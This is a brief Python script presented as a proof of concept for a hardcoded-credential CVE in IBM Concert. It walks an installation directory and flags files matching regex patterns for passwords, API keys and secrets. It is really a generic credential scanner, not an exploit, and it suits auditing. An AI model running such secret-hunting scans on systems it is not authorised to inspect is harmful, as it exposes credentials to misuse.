The following code is for security research and authorized testing only.
python
# Proof of Concept (PoC) for CVE-2025-12708
# This script demonstrates how to search for hardcoded credentials in the application files.
# Note: Actual paths and signature strings depend on the specific installation of IBM Concert.
import os
import re
def scan_for_credentials(directory):
# Common patterns that might indicate hardcoded credentials
patterns = [
r'password\s*=\s*["\']?[^"\'\s]+["\']?',
r'apikey\s*=\s*["\']?[^"\'\s]+["\']?',
r'secret\s*=\s*["\']?[^"\'\s]+["\']?'
]
print(f"[*] Scanning directory: {directory}")
for root, dirs, files in os.walk(directory):
for file in files:
file_path = os.path.join(root, file)
try:
with open(file_path, 'r', errors='ignore') as f:
content = f.read()
for pattern in patterns:
if re.search(pattern, content, re.IGNORECASE):
print(f"[+] Potential hardcoded credential found in: {file_path}")
# In a real scenario, the analyst would verify the context of this match
break
except Exception as e:
continue
if __name__ == "__main__":
# Replace with the actual installation path of IBM Concert
target_path = "/opt/ibm/concert"
if os.path.exists(target_path):
scan_for_credentials(target_path)
else:
print("[-] Target path not found. Please update the path.")